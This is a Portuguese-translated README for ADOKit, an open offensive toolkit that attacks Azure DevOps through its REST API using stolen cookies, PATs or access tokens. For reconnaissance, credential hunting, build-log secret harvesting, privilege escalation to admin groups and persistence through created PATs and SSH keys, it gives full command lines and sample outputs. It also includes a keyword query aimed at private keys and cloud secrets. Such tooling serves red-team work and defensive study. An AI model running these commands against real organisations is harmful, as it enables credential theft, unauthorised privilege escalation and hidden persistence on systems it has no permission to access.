
ADOKit v1.4.2
Kit de ataque modular que explora a API REST do Azure DevOps para reconhecimento, escalonamento de privilégios e persistência usando cookies ou PATs roubados.
ADOKit
Descrição
Azure DevOps Services Attack Toolkit - ADOKit é um kit de ferramentas que pode ser usado para atacar Azure DevOps Services aproveitando a API REST disponível. A ferramenta permite que o usuário especifique um módulo de ataque, juntamente com credenciais válidas (chave de API ou cookie de autenticação roubado) para a respectiva instância do Azure DevOps Services. Os módulos de ataque suportados incluem reconhecimento, elevação de privilégio e persistência. O ADOKit foi construído de forma modular, para que novos módulos possam ser adicionados no futuro pela comunidade de segurança da informação.
Detalhes completos sobre as técnicas usadas pelo ADOKit estão no whitepaper da X-Force Red.
Black Hat USA Arsenal 2024
Slides da apresentação e demonstrações estão incluídos na pasta BHUSA Arsenal 2024 neste repositório.
Lançamento
- A versão 1.4.1 do ADOKit pode ser encontrada em Releases
Table of Contents
- ADOKit
- Table of Contents
- Installation/Building
- Command Modules
- Arguments/Options
- Authentication Options
- Module Details Table
- Examples
- Recon
- Validate Azure DevOps Access
- Whoami
- List Orgs
- List Repos
- Search Repos
- List Projects
- Search Projects
- Search Code
- Search Files
- List Users
- Search User
- List Teams
- Search Team
- Get Team Members
- List Groups
- Search Groups
- Get Group Members
- Get Project Permissions
- Creds Search
- Get Build Logs
- List Build Logs
- Search Build Logs
- Persistence
- Privilege Escalation
- Add Project Admin
- Remove Project Admin
- Add Build Admin
- Remove Build Admin
- Add Collection Admin
- Remove Collection Admin
- Add Collection Build Admin
- Remove Collection Build Admin
- Add Collection Build Service Account
- Remove Collection Build Service Account
- Add Collection Service Account
- Remove Collection Service Account
- Get Pipeline Variables
- Get Pipeline Secrets
- Get Variable Groups
- Get Service Connections
- Recon
- Detection
- Roadmap
- References
Installation/Building
Libraries Used
The below 3rd party libraries are used in this project.
| Library | URL | License |
|---|---|---|
| Fody | https://github.com/Fody/Fody | MIT License |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | MIT License |
Pre-Compiled
- Use o binário pré-compilado na seção Releases
Building Yourself
Siga os passos abaixo para configurar o Visual Studio de modo a compilar o projeto você mesmo. Isso requer duas bibliotecas .NET que podem ser instaladas a partir do gerenciador de pacotes NuGet.
- Carregue o projeto do Visual Studio e vá em "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
- Vá em "NuGet Package Manager" --> "Package Sources"
- Adicione uma origem de pacote com a URL
https://api.nuget.org/v3/index.json - Instale o pacote NuGet Costura.Fody.
Install-Package Costura.Fody -Version 3.3.3
- Instale o pacote Newtonsoft.Json
Install-Package Newtonsoft.Json
- Agora você pode compilar o projeto você mesmo!
Command Modules
- Recon
- check - Verifica se a organização usa Azure DevOps e se as credenciais são válidas
- whoami - Lista o usuário atual e suas associações a grupos
- listorgs - Lista organizações acessíveis ou todas as organizações no Azure DevOps
- listrepo - Lista todos os repositórios
- searchrepo - Busca por um repositório específico
- listproject - Lista todos os projetos
- searchproject - Busca por um projeto específico
- searchcode - Busca por código contendo um termo de pesquisa
- searchfile - Busca por arquivo com base em um termo de pesquisa
- listuser - Lista usuários
- searchuser - Busca por um usuário específico
- listteam - Lista equipes
- searchteam - Busca por uma equipe específica
- getteammembers - Obtém os membros de uma equipe específica
- listgroup - Lista grupos
- searchgroup - Busca por um grupo específico
- getgroupmembers - Lista todos os membros de um grupo específico
- getpermissions - Obtém as permissões de quem tem acesso a um determinado projeto
- creds - Busca por credenciais no código (palavras-chave listadas abaixo)
"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"
- getbuildlogs - Baixa os logs de build de um ou de todos os projetos
- listbuildlogs - Lista os logs de build de um ou de todos os projetos
- searchbuildlogs - Busca nos logs de build por um termo de pesquisa específico
- Persistence
- createpat - Cria um token de acesso pessoal para o usuário
- listpat - Lista os tokens de acesso pessoal do usuário
- removepat - Remove o token de acesso pessoal do usuário
- createsshkey - Cria uma chave SSH pública para o usuário
- listsshkey - Lista as chaves SSH públicas do usuário
- removesshkey - Remove a chave SSH pública do usuário
- Privilege Escalation
- addprojectadmin - Adiciona um usuário ao grupo "Project Administrators" de um determinado projeto
- removeprojectadmin - Remove um usuário do grupo "Project Administrators" de um determinado projeto
- addbuildadmin - Adiciona um usuário ao grupo "Build Administrators" de um determinado projeto
- removebuildadmin - Remove um usuário do grupo "Build Administrators" de um determinado projeto
- addcollectionadmin - Adiciona um usuário ao grupo "Project Collection Administrators"
- removecollectionadmin - Remove um usuário do grupo "Project Collection Administrators"
- addcollectionbuildadmin - Adiciona um usuário ao grupo "Project Collection Build Administrators"
- removecollectionbuildadmin - Remove um usuário do grupo "Project Collection Build Administrators"
- addcollectionbuildsvc - Adiciona um usuário ao grupo "Project Collection Build Service Accounts"
- removecollectionbuildsvc - Remove um usuário do grupo "Project Collection Build Service Accounts"
- addcollectionsvc - Adiciona um usuário ao grupo "Project Collection Service Accounts"
- removecollectionsvc - Remove um usuário do grupo "Project Collection Service Accounts"
- getpipelinevars - Recupera quaisquer variáveis de pipeline utilizadas em um determinado projeto
- getpipelinesecrets - Recupera os nomes de quaisquer segredos de pipeline utilizados em um determinado projeto
- getvariablegroups - Recupera quaisquer grupos de variáveis e as variáveis correspondentes utilizadas em um determinado projeto
- getserviceconnections - Recupera as conexões de serviço utilizadas em um determinado projeto
Arguments/Options
- /credential: - credencial para autenticação (PAT ou Cookie). Aplicável a todos os módulos.
- /url: - URL do Azure DevOps. Aplicável a todos os módulos.
- /search: - Palavra-chave para pesquisa. Não aplicável a todos os módulos.
- /project: - Projeto para o qual realizar uma ação. Não aplicável a todos os módulos.
- /user: - Realizar uma ação contra um usuário específico. Não aplicável a todos os módulos.
- /id: - Usado com módulos de persistência para realizar uma ação contra um ID de token específico. Não aplicável a todos os módulos.
- /group: - Realizar uma ação contra um grupo específico. Não aplicável a todos os módulos.
Authentication Options
Abaixo estão as opções de autenticação disponíveis no ADOKit ao autenticar em uma instância do Azure DevOps.
- Stolen Cookie - UserAuthentication - Este será o cookie
UserAuthenticationna máquina de um usuário para o domínio.dev.azure.com./credential:UserAuthentication=ABC123
- Stolen Cookie - AadAuthentication - Este será o cookie
AadAuthenticationna máquina de um usuário para o domínio.dev.azure.com./credential:eyJ0...
- Personal Access Token (PAT) - Será um token de acesso / chave de API que é uma única string.
/credential:apiToken
- Stolen Access Token - Se você conseguir roubar ou renovar um token de acesso adequado, também pode utilizá-lo. Ao usar um token de acesso, ele deve ser válido para o recurso do Azure Resource Manager (ARM) -
"aud":"https://management.core.windows.net/"ou Azure DevOps -"aud":"499b84ac-1321-427f-aa17-267ca6975798"/credential:eyJ0..
Module Details Table
A tabela abaixo mostra as permissões necessárias para cada módulo.
| Attack Scenario | Module | Special Permissions? | Notes |
|---|---|---|---|
| Recon | check | No | |
| Recon | whoami | No | |
| Recon | listorgs | No | |
| Recon | listrepo | No | |
| Recon | searchrepo | No | |
| Recon | listproject | No | |
| Recon | searchproject | No | |
| Recon | searchcode | No | |
| Recon | searchfile | No | |
| Recon | listuser | No | |
| Recon | searchuser | No | |
| Recon | listteam | No | |
| Recon | searchteam | No | |
| Recon | getteammembers | No | |
| Recon | listgroup | No | |
| Recon | searchgroup | No | |
| Recon | getgroupmembers | No | |
| Recon | getpermissions | No | |
| Recon | creds | No | |
| Recon | getbuildlogs | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Recon | listbuildlogs | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Recon | searchbuildlogs | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Persistence | createpat | No | |
| Persistence | listpat | No | |
| Persistence | removepat | No | |
| Persistence | createsshkey | No | |
| Persistence | listsshkey | No | |
| Persistence | removesshkey | No | |
| Privilege Escalation | addprojectadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | removeprojectadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | addbuildadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | removebuildadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | addcollectionadmin | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | removecollectionadmin | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | addcollectionbuildadmin | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | removecollectionbuildadmin | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | addcollectionbuildsvc | Yes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts | |
| Privilege Escalation | removecollectionbuildsvc | Yes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts | |
| Privilege Escalation | addcollectionsvc | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | removecollectionsvc | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | getpipelinevars | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Privilege Escalation | getpipelinesecrets | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Privilege Escalation | getvariablegroups | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Privilege Escalation | getserviceconnections | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts |
Examples
Validate Azure DevOps Access
Use Case
Realiza uma verificação de autenticação para garantir que a organização está usando Azure DevOps e que as credenciais fornecidas são válidas.
Syntax
Forneça o módulo check, juntamente com as informações de autenticação relevantes e a URL. Isso informará se a organização fornecida está usando Azure DevOps e, em caso positivo, tentará validar as credenciais fornecidas.
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output```
C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/28/2023 3:33:01 PM
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
### Whoami
#### Caso de Uso
> *Obter o usuário atual e as associações de grupo do usuário*
#### Sintaxe
Forneça o módulo `whoami`, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o usuário atual e todas as suas associações de grupo.
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
Listar Organizações
Caso de Uso
Recuperar organizações usando um token de acesso fornecido.
Sintaxe
Forneça ao módulo listorgs as informações de autenticação necessárias. Por padrão, este comando lista apenas as organizações acessíveis com o token de acesso fornecido.
- Use
/mode:aadpara enumerar todas as organizações DevOps dentro do locatário do Azure AD, independentemente do acesso direto. - Use
/endpoint:ENDPOINT_NAMEpara especificar um endpoint AEX personalizado.- Pontos de extremidade adicionais podem ser identificados inspecionando o cookie
"X-VSS-DeploymentAffinity"deaex.dev.azure.com.
- Pontos de extremidade adicionais podem ser identificados inspecionando o cookie
ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]
ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21
Exemplo de Saída```
C:>ADOKit.exe listorgs /credential:"eyj0..."
================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com
Timestamp: 3/14/2025 2:26:45 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
### Listar Repositórios
#### Caso de Uso
> *Descubra repositórios sendo usados em uma instância do Azure DevOps*
#### Sintaxe
Forneça o módulo `listrepo`, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o nome e a URL do repositório.
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
Search Repos
Use Case
Pesquise por repositórios pelo nome do repositório na instância do Azure DevOps
Syntax
Forneça o módulo searchrepo e seus critérios de pesquisa no argumento de linha de comando /search:, juntamente com as informações de autenticação e URL relevantes. Isso exibirá o nome do repositório e a URL correspondentes.
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
Example Output```
C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 9:26:57 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
### Listar Projetos
#### Caso de Uso
> *Descubra projetos sendo usados na instância do Azure DevOps*
#### Sintaxe
Forneça o módulo `listproject`, juntamente com as informações de autenticação relevantes e a URL. Isso irá exibir o nome do projeto, visibilidade (público ou privado) e URL.
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
Pesquisar Projetos
Caso de Uso
Pesquise por projetos pelo nome do projeto na instância do Azure DevOps
Sintaxe
Forneça o módulo searchproject e seus critérios de pesquisa no argumento da linha de comando /search:, juntamente com as informações de autenticação relevantes e a URL. Isso exibirá o nome do projeto correspondente, visibilidade (público ou privado) e URL.
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
Exemplo de Saída```
C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:45:30 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
### Pesquisar Código
#### Caso de Uso
> *Pesquisar por código que contenha uma palavra-chave específica na instância Azure DevOps*
#### Sintaxe
Forneça o módulo `searchcode` e seus critérios de pesquisa no argumento de linha de comando `/search:`, juntamente com as informações de autenticação relevantes e URL. Isso exibirá a URL do arquivo de código correspondente, juntamente com a linha do código que correspondeu.
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### Exemplo de Saída```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
Pesquisar Arquivos
Caso de Uso
Pesquisar arquivos em repositórios que contenham uma palavra-chave no nome do arquivo no Azure DevOps
Sintaxe
Forneça o módulo searchfile e os seus critérios de pesquisa no argumento de linha de comando /search:, juntamente com qualquer informação de autenticação relevante e URL. Isto irá gerar o URL para o ficheiro correspondente no seu respetivo repositório.
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
Exemplo de Saída```
C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 11:28:34 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
### Pesquisa de Credenciais
#### Caso de Uso
> *Pesquise por código contendo segredos como senhas ou chaves de API no Azure DevOps*
#### Sintaxe
Forneça o módulo `creds`, junto com qualquer informação de autenticação relevante e URL. Isso irá exibir a URL do arquivo correspondente em seu respectivo repositório, e a(s) linha(s) correspondente(s) onde as credenciais estão presentes.
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
Obter Logs de Build
Caso de Uso
Baixe os logs de todas as execuções de pipeline (logs de build). Você pode então pesquisar offline por informações e/ou segredos.
Sintaxe
Forneça o módulo getbuildlogs junto com /project: para um projeto específico para baixar todos os logs de build desse projeto. Se desejar baixá-los para todos os projetos, especifique all no argumento /project:. Isso criará uma pasta ADOKit-[random 8 chars] no seu diretório de trabalho atual para baixar os logs.
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
Exemplo de Saída```
C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:15:27 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
### Listar Logs de Build
#### Caso de Uso
> *Listar os logs de build disponíveis para um determinado projeto ou todos os projetos.*
#### Sintaxe
Forneça o módulo `listbuildlogs` junto com um `/project:` para um determinado projeto para listar todos os logs de build desse projeto. Se desejar listá-los para todos os projetos, especifique `all` no argumento `/project:`.
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### Exemplo de Saída```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
Pesquisar Logs de Build
Caso de Uso
Pesquisar logs de build contendo uma determinada palavra-chave na instância do Azure DevOps
Sintaxe
Forneça o módulo searchbuildlogs e seus critérios de pesquisa no argumento de linha de comando /search:, juntamente com um /project: para um determinado projeto a fim de pesquisar todos os logs de build desse projeto. Se desejar pesquisar logs de build para todos os projetos, especifique all no argumento /project:. Isso exibirá a URL do arquivo de log de build correspondente, juntamente com a linha no log de build que correspondeu.
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
Exemplo de Saída```
C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:06:20 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
### Criar PAT
#### Caso de Uso
> *Crie um token de acesso pessoal (PAT) para um utilizador que possa ser usado para persistência numa instância do Azure DevOps.*
#### Sintaxe
Forneça o módulo `createpat`, juntamente com qualquer informação de autenticação relevante e URL. Isto irá exibir o ID do PAT, nome, âmbito, data de validade e o conteúdo do token do PAT criado. O nome do PAT criado será `ADOKit-` seguido por uma string aleatória de 8 caracteres. A data de validade do PAT será 1 ano a partir da data de criação, pois esse é o máximo que o Azure DevOps permite.
`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
Listar PATs
Caso de Uso
Listar todos os tokens de acesso pessoal (PAT's) para um determinado usuário em uma instância do Azure DevOps.
Sintaxe
Forneça o módulo listpat, juntamente com quaisquer informações de autenticação relevantes e URL. Isso produzirá o ID do PAT, nome, escopo e data de validade para todos os PAT's ativos do usuário.
